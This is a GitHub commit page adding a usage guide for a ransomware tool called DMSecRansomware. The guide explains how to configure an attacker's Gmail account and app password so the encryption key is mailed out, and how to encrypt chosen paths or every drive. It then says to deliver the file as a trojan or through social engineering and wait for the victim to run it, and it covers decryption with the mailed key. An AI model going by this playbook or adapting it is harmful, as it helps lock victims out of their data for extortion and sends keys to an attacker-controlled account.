Skip to content

Commit

Permalink
Create HowToUse.md
Browse files Browse the repository at this point in the history
  • Loading branch information
dmdhrumilmistry authored Aug 26, 2021
1 parent 49a0c61 commit 299fc7f
Showing 1 changed file with 31 additions and 0 deletions.
31 changes: 31 additions & 0 deletions ransomwares/dmsec/HowToUse.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
# How to use DMSecRansomware

#### **Author**: [Dhrumil Mistry](https://github.com/dmdhrumilmistry)

## Encrypting data
- Turn on 2FA in attacker's gmail account.
- Create app password
- Update `dmsec_ransomware.py` with email and app password to login to your gmail account. This is used to receive key to decrypt the files.

```python
encrypter = DMSECEncrypter(PATHS, gmail='yourgmailid', passwd='yourapppassword')
```
- Specify path which is to be encrypted.
- If all the drives are to be decrypted do not pass PATHS to the DMSECEncrypter

```python
encrypter = DMSECEncrypter(gmail='yourgmailid', passwd='yourapppassword')
```
- Create a trojan or use social engineering and send file to the victim.
- Wait for victim to execute the trojan.


## Decrypting Data
- Use `decrypter.py` to decrypt the encrypted files.
- Edit paths to be decrypted in `decrypter.py` file. If all the drives are to be decrypted do not pass PATHS to DMSECDecrypter

```python
encrypter = DMSECDecrypter(KEY)
```
- Use the key which was received on mail to decrypt the data

0 comments on commit 299fc7f

Please sign in to comment.